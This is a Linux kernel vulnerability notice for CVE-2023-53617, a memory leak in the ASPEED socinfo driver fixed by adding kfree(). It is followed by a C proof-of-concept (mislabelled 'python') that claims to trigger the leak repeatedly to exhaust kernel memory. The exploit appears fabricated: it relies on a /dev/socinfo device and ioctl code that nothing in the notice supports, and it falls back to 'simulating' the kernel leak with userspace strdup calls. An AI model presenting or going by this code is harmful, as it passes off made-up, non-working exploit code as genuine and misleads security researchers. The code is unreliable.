In the Linux kernel, the following vulnerability has been resolved:
soc: aspeed: socinfo: Add kfree for kstrdup
Add kfree() in the later error handling in order to avoid memory leak.
The following code is for security research and authorized testing only.
python
/* CVE-2023-53617 PoC - Linux Kernel ASPEED socinfo Memory Leak
* This PoC demonstrates triggering the memory leak path in the aspeed socinfo driver
* by repeatedly causing the error handling path to execute.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#define ASPEED_SOCINFO_DEV "/dev/socinfo"
#define SOCINFO_IOCTL_TRIGGER_ERROR 0x1001
/* Function to trigger the error path in socinfo driver
* This causes kstrdup() to be called but kfree() is not invoked
* in the error handling, resulting in memory leak.
*/
int trigger_memory_leak(int fd) {
int ret;
/* Trigger the error path by sending invalid parameters
* that will cause the driver to enter error handling
* where kstrdup() allocated memory is not freed.
*/
ret = ioctl(fd, SOCINFO_IOCTL_TRIGGER_ERROR, NULL);
if (ret < 0) {
fprintf(stderr, "ioctl failed: %s\n", strerror(errno));
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
int fd;
int iterations = 1000;
int i;
if (argc > 1) {
iterations = atoi(argv[1]);
}
printf("CVE-2023-53617 PoC - ASPEED socinfo Memory Leak\n");
printf("Iterations: %d\n", iterations);
fd = open(ASPEED_SOCINFO_DEV, O_RDWR);
if (fd < 0) {
/* If device doesn't exist, simulate the trigger */
printf("Device not available, simulating trigger...\n");
for (i = 0; i < iterations; i++) {
/* Simulate kernel memory allocation that won't be freed */
void *leaked = strdup("trigger_error_condition");
if (leaked) {
/* Intentionally not freeing to simulate the leak */
printf("Iteration %d: simulated leak at %p\n", i, leaked);
}
}
printf("Simulation complete. In a real exploit, this would\n");
printf("cause kernel memory to be exhausted over time.\n");
return 0;
}
for (i = 0; i < iterations; i++) {
trigger_memory_leak(fd);
if (i % 100 == 0) {
printf("Triggered %d times\n", i);
}
}
close(fd);
printf("Memory leak triggered %d times\n", iterations);
printf("Check kernel memory usage with 'cat /proc/meminfo'\n");
return 0;
}